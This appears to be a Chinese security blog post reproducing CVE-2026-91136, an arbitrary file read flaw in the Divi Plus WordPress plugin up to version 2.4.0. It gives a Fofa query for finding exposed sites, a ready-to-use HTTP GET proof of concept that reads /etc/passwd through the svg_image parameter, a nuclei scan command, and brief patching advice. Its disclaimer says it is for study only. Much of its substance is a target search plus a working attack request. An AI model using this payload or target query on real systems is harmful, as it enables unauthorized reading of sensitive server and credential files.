漏洞复现｜Divi Plus svg\_image存在任意文件读取漏洞CVE-2026-91136

Poc复现

2026年10月21日 09:38
江苏

去阅读

免责声明

「此公众号所分享的网络安全知识、信息及工具皆来源互联网公开收集整理，仅供学习和研究使用，请勿用于非法测试活动。由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，产生的一切后果由读者自行承担，皆与本公众号及文章作者无关、不负任何责任！！！」「如有内容侵权，请联系我们删除处理。谢谢合作！！！」

漏洞概述

Divi Plus svg\_image存在任意文件读取漏洞CVE-2026-91136，攻击者可进行读取系统内任意敏感信息。

影响范围

Divi Plus <= 2.4.0

空间测绘

Fofa

body=\"/wp-content/plugins/divi-plus/\"

漏洞复现

Poc

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd HTTP/1.1
Host:127.0.0.1

漏洞自查

Nuclei

nuclei.exe -u 目标URL -stats -silent -t divi-plus-CVE-2026-91136-arbitrary-file-read.yaml

修复建议

• • 建议联系厂商打补丁或升级版本。
• • 增加Web应用防火墙防护。

poc免费获取